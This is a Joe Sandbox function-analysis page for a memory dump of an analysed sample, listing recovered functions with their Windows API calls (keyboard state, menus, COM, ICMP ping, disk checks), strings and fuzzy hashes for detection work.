Instruction ID: 805d09d6a4d3116121f2c71dc2c42e2c2c44c26ec7cfcc440e2d004e578e9c1d
Opcode Fuzzy Hash: df43cf1a87a530368e83b0f667970840fbb65e8f23c62b2b1af0b1209d07677b
Instruction Fuzzy Hash: 13711D75A00219EFDB15DFA4D888EDEB7B9EF58314F048099E919AB251DB30EE40CF90

Function 001B388D Relevance: 18.2, APIs: 12, Instructions: 185keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 001B3908
SetKeyboardState.USER32(?), ref: 001B3973
GetAsyncKeyState.USER32(000000A0), ref: 001B3993
GetKeyState.USER32(000000A0), ref: 001B39AA
GetAsyncKeyState.USER32(000000A1), ref: 001B39D9
GetKeyState.USER32(000000A1), ref: 001B39EA
GetAsyncKeyState.USER32(00000011), ref: 001B3A16
GetKeyState.USER32(00000011), ref: 001B3A24
GetAsyncKeyState.USER32(00000012), ref: 001B3A4D
GetKeyState.USER32(00000012), ref: 001B3A5B
GetAsyncKeyState.USER32(0000005B), ref: 001B3A84
GetKeyState.USER32(0000005B), ref: 001B3A92

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 97abc8e07446f214e7b7b90d2e9330d1f3088114ff0ecb1f59e8b5f15f88c2bd
Instruction ID: fdb7be33248b7dd91eb89b9344ac431c4e662509111aa56a618cd425c007b4da
Opcode Fuzzy Hash: 97abc8e07446f214e7b7b90d2e9330d1f3088114ff0ecb1f59e8b5f15f88c2bd
Instruction Fuzzy Hash: 3351F720A0878429FB35EBB488117EABFB45F11740F48858DD5D29B1C3DB54AB9CC762

Function 001AFAFD Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 001AFB19
GetWindowRect.USER32(00000000,?), ref: 001AFB2B
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 001AFB89
GetDlgItem.USER32(?,00000002), ref: 001AFB94
GetWindowRect.USER32(00000000,?), ref: 001AFBA6
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 001AFBFC
GetDlgItem.USER32(?,000003E9), ref: 001AFC0A
GetWindowRect.USER32(00000000,?), ref: 001AFC1B
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 001AFC5E
GetDlgItem.USER32(?,000003EA), ref: 001AFC6C
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 001AFC89
InvalidateRect.USER32(?,00000000,00000001), ref: 001AFC96

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 075220b756c3f4184b4a42ea2b58d1b326ffaefa82112515684dde9e6e82f696
Instruction ID: 2d26b8f73ade3b8d1778d71d09093ac203a3585068557c8aaa83cd19e8303e9a
Opcode Fuzzy Hash: 075220b756c3f4184b4a42ea2b58d1b326ffaefa82112515684dde9e6e82f696
Instruction Fuzzy Hash: 4B512DB5B00209AFDB18CFA9DD95ABEBBBAEB88310F14812DB915D7690D7709D41CB10

Function 0018B039 Relevance: 18.1, APIs: 12, Instructions: 131COMMON

Download Yara Rule

APIs

Part of subcall function 0018B155: GetWindowLongW.USER32(?,000000EB), ref: 0018B166

GetSysColor.USER32(0000000F), ref: 0018B067

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: cf8551bb02aedac9088d0ac2036bfb1363162636d816f7ba4de5ca3f1934c0b2
Instruction ID: da4bfd1b31d3aca414334a0d940b72ef7ab72acebaf8af61154f5f8c196e4ffd
Opcode Fuzzy Hash: cf8551bb02aedac9088d0ac2036bfb1363162636d816f7ba4de5ca3f1934c0b2
Instruction Fuzzy Hash: 4F41A131108544AFDB246F38EC88BBA3BB6AB06731F184265FD758A1E1D7318D81DF21

Function 001B7334 Relevance: 18.1, APIs: 12, Instructions: 113COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 001B734C
_wcscpy.LIBCMT ref: 001B735D
__wsplitpath.LIBCMT ref: 001B7384
__wsplitpath.LIBCMT ref: 001B73A8
_wcscpy.LIBCMT ref: 001B73CA
_wcscpy.LIBCMT ref: 001B73E8
_wcscpy.LIBCMT ref: 001B73F9
_wcscat.LIBCMT ref: 001B7408
_wcscat.LIBCMT ref: 001B745D
_wcscat.LIBCMT ref: 001B7493
_wcscat.LIBCMT ref: 001B74A5

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
String ID:
API String ID: 136442275-0
Opcode ID: 09c4386dd206ff8339d6739f8534fe8a56871d2e68c3f9c11a0253984e520e37
Instruction ID: 60e9d8e6cb79116ad828ad17caf42a72dd71e6916e3a163bf2e11e486bd3813b
Opcode Fuzzy Hash: 09c4386dd206ff8339d6739f8534fe8a56871d2e68c3f9c11a0253984e520e37
Instruction Fuzzy Hash: B041FFB290412CAADF25EB50CC55EDE73BCBB58314F1041E6F519A2091EB71ABD4CF60

Function 001784A6 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 145COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 001784E5
__itow.LIBCMT ref: 00178519

Part of subcall function 00192177: _xtow@16.LIBCMT ref: 00192198

Strings

False, xrefs: 001E5568
0x%p, xrefs: 001E5582
True, xrefs: 001E5561
%.15g, xrefs: 001784DF

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: __itow__swprintf_xtow@16
String ID: %.15g$0x%p$False$True
API String ID: 1502193981-2263619337
Opcode ID: 4c96b6c08b423d88c29a59466a6f87c5de374293ba94a9eb2397decd0a60af87
Instruction ID: 6093cd0a84a367e48842dd7f03b9b93f83512225786b9e81aa65a034c9f38602
Opcode Fuzzy Hash: 4c96b6c08b423d88c29a59466a6f87c5de374293ba94a9eb2397decd0a60af87
Instruction Fuzzy Hash: AA412431604A05ABDF24DB38D845F6A77FABF18304F24846EE44AC7191EB71DA81CB10

Function 00195C91 Relevance: 16.8, APIs: 11, Instructions: 257COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00195CCA

Part of subcall function 0019889E: __getptd_noexit.LIBCMT ref: 0019889E

__gmtime64_s.LIBCMT ref: 00195D63
__gmtime64_s.LIBCMT ref: 00195D99
__gmtime64_s.LIBCMT ref: 00195DB6
__allrem.LIBCMT ref: 00195E0C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00195E28
__allrem.LIBCMT ref: 00195E3F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00195E5D
__allrem.LIBCMT ref: 00195E74
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00195E92
__invoke_watson.LIBCMT ref: 00195F03

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 44019df33dda40162e7ad5693cac5fdd13db5b94ac58de4e6029986730a9c23d
Instruction ID: ee742707be1f715b9ef007aeff11b5f94958bf4421407485eaa39000231a9d54
Opcode Fuzzy Hash: 44019df33dda40162e7ad5693cac5fdd13db5b94ac58de4e6029986730a9c23d
Instruction Fuzzy Hash: E9711A75A01B16ABDF159F7DCC41BAAB3AAAF21724F14413AF814F7681E770DE408B90

Function 001B57FB Relevance: 16.7, APIs: 11, Instructions: 189windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001B5816
GetMenuItemInfoW.USER32(002318F0,000000FF,00000000,00000030), ref: 001B5877
SetMenuItemInfoW.USER32(002318F0,00000004,00000000,00000030), ref: 001B58AD
Sleep.KERNEL32(000001F4), ref: 001B58BF
GetMenuItemCount.USER32(?), ref: 001B5903
GetMenuItemID.USER32(?,00000000), ref: 001B591F
GetMenuItemID.USER32(?,-00000001), ref: 001B5949
GetMenuItemID.USER32(?,?), ref: 001B598E
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 001B59D4
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 001B59E8
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 001B5A09

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 213cc7101479def36795ab5d58ab2951d0dddaf9ccb1260d61340129b054688b
Instruction ID: c9cabda396de6d98190042cfa4076dd58e7b8ebb191e9e8275e7f550422f2cfd
Opcode Fuzzy Hash: 213cc7101479def36795ab5d58ab2951d0dddaf9ccb1260d61340129b054688b
Instruction Fuzzy Hash: 5961A9B0900689EFDF11CFA5D888BFE7BBAEB05358F180159F842A7261D771AD45CB21

Function 001D9A23 Relevance: 16.7, APIs: 11, Instructions: 183windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 001D9AA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 001D9AA8
GetWindowLongW.USER32(?,000000F0), ref: 001D9ACC
_memset.LIBCMT ref: 001D9ADD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 001D9AEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 001D9B67

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: a7da4fecead03a81c8bb7b7607ad82d4af0e610ee741fdc1dda2514a03d0607a
Instruction ID: 25a72cc72f86e2533cce9b36b914dbeb27c61d7e67bc0084f582b750a064164f
Opcode Fuzzy Hash: a7da4fecead03a81c8bb7b7607ad82d4af0e610ee741fdc1dda2514a03d0607a
Instruction Fuzzy Hash: DF616975A00208AFEB11DFA8DC81EEE77F8AF09714F10019AFA18E7392D770A951DB50

Function 001B3569 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 001B3591
GetAsyncKeyState.USER32(000000A0), ref: 001B3612
GetKeyState.USER32(000000A0), ref: 001B362D
GetAsyncKeyState.USER32(000000A1), ref: 001B3647
GetKeyState.USER32(000000A1), ref: 001B365C
GetAsyncKeyState.USER32(00000011), ref: 001B3674
GetKeyState.USER32(00000011), ref: 001B3686
GetAsyncKeyState.USER32(00000012), ref: 001B369E
GetKeyState.USER32(00000012), ref: 001B36B0
GetAsyncKeyState.USER32(0000005B), ref: 001B36C8
GetKeyState.USER32(0000005B), ref: 001B36DA

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 7802ac70fbb97a192ad5dc7afcb9628fbc25bf2fea0c19308f8c9ee0bbfc312d
Instruction ID: 54784f6de91e41c33b24c541b0234b37bcd43cbdad33baddfa11b28873002801
Opcode Fuzzy Hash: 7802ac70fbb97a192ad5dc7afcb9628fbc25bf2fea0c19308f8c9ee0bbfc312d
Instruction Fuzzy Hash: 9D41D6709087C97DFF319B6488143F5BFA16B11344F488059D9D6467C2EBA49BE8CBA2

Function 001AA28D Relevance: 16.6, APIs: 11, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,?), ref: 001AA2AA
SafeArrayAllocData.OLEAUT32(?), ref: 001AA2F5
VariantInit.OLEAUT32(?), ref: 001AA307
SafeArrayAccessData.OLEAUT32(?,?), ref: 001AA327
VariantCopy.OLEAUT32(?,?), ref: 001AA36A
SafeArrayUnaccessData.OLEAUT32(?), ref: 001AA37E
VariantClear.OLEAUT32(?), ref: 001AA393
SafeArrayDestroyData.OLEAUT32(?), ref: 001AA3A0
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 001AA3A9
VariantClear.OLEAUT32(?), ref: 001AA3BB
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 001AA3C6

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: a1bc2e0ff489770c6f0987a5c5c2e10610df96c3b3abc9979f2d0fddcf65ff41
Instruction ID: 89f52d8be4a349483ed0729f69c10d9e315a2d9b17519d3f99c09af4763d0071
Opcode Fuzzy Hash: a1bc2e0ff489770c6f0987a5c5c2e10610df96c3b3abc9979f2d0fddcf65ff41
Instruction Fuzzy Hash: 57414E35900219AFCF01DFA4DC889EEBFB9FF49314F408065F505A3661DB74AA85CBA1

Function 001CB250 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 001784A6: __swprintf.LIBCMT ref: 001784E5
Part of subcall function 001784A6: __itow.LIBCMT ref: 00178519

CoInitialize.OLE32 ref: 001CB298
CoUninitialize.COMBASE ref: 001CB2A3
CoCreateInstance.COMBASE(?,00000000,00000017,001FD8FC,?), ref: 001CB303
IIDFromString.COMBASE(?,?), ref: 001CB376
VariantInit.OLEAUT32(?), ref: 001CB410
VariantClear.OLEAUT32(?), ref: 001CB471

Strings

Failed to create object, xrefs: 001CB30E, 001CB3C4
NULL Pointer assignment, xrefs: 001CB348
Invalid parameter, xrefs: 001CB38F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 80e221497d4825c2f08f60569f6be236426bc9f9822c5ff793da058976e21a12
Instruction ID: f51a116205723fe44c5fc52b5b14a6ed264ff1ea808240cc5552000999c4cec0
Opcode Fuzzy Hash: 80e221497d4825c2f08f60569f6be236426bc9f9822c5ff793da058976e21a12
Instruction Fuzzy Hash: 21616970208311AFC714DF64D88AF6AB7E8AFA9714F04441DF986DB291D770EE48CB92

Function 001C8694 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000101,?), ref: 001C86F5
inet_addr.WS2_32(?), ref: 001C873A
gethostbyname.WS2_32(?), ref: 001C8746
IcmpCreateFile.IPHLPAPI ref: 001C8754
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 001C87C4
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 001C87DA
IcmpCloseHandle.IPHLPAPI(00000000), ref: 001C884F
WSACleanup.WS2_32 ref: 001C8855

Strings

Ping, xrefs: 001C8778

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 02b9760f0969d8030adbe8c59475ec8fb21b6be5952c927415e30d6c552d5b0f
Instruction ID: 4e08eef8f96526b456f42a62eeb19a32bc1d3a7d780dcad810a29819aa1084fa
Opcode Fuzzy Hash: 02b9760f0969d8030adbe8c59475ec8fb21b6be5952c927415e30d6c552d5b0f
Instruction Fuzzy Hash: 3651A131604301AFD710EF64DC85F6ABBE5AF68724F14892DF5569B2A1DB70E841CB41

Function 001D9C50 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001D9C68
CreateMenu.USER32 ref: 001D9C83
SetMenu.USER32(?,00000000), ref: 001D9C92
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 001D9D1F
IsMenu.USER32(?), ref: 001D9D35
CreatePopupMenu.USER32 ref: 001D9D3F
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 001D9D70
DrawMenuBar.USER32 ref: 001D9D7E

Strings

0, xrefs: 001D9C61

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0
API String ID: 176399719-4108050209
Opcode ID: f9a1d350a72342317418675575727eb0aa6b1d720f3cf569ce9530f2f24dbea6
Instruction ID: 496bdf5838974c429b6a536e70bd667e5b50c142d075778fe1d916b7749b674b
Opcode Fuzzy Hash: f9a1d350a72342317418675575727eb0aa6b1d720f3cf569ce9530f2f24dbea6
Instruction Fuzzy Hash: B9414B75A00209EFDB14EFA4E884BEA7BF6FF49314F144029E9499B361D734A950DF60

Function 001BEC11 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 97COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 001BEC1E
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 001BEC94
GetLastError.KERNEL32 ref: 001BEC9E
SetErrorMode.KERNEL32(00000000,READY), ref: 001BED0B

Strings

UNKNOWN, xrefs: 001BECC3
READONLY, xrefs: 001BECD6
INVALID, xrefs: 001BECDD
NOTREADY, xrefs: 001BECCA
READY, xrefs: 001BECE4

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
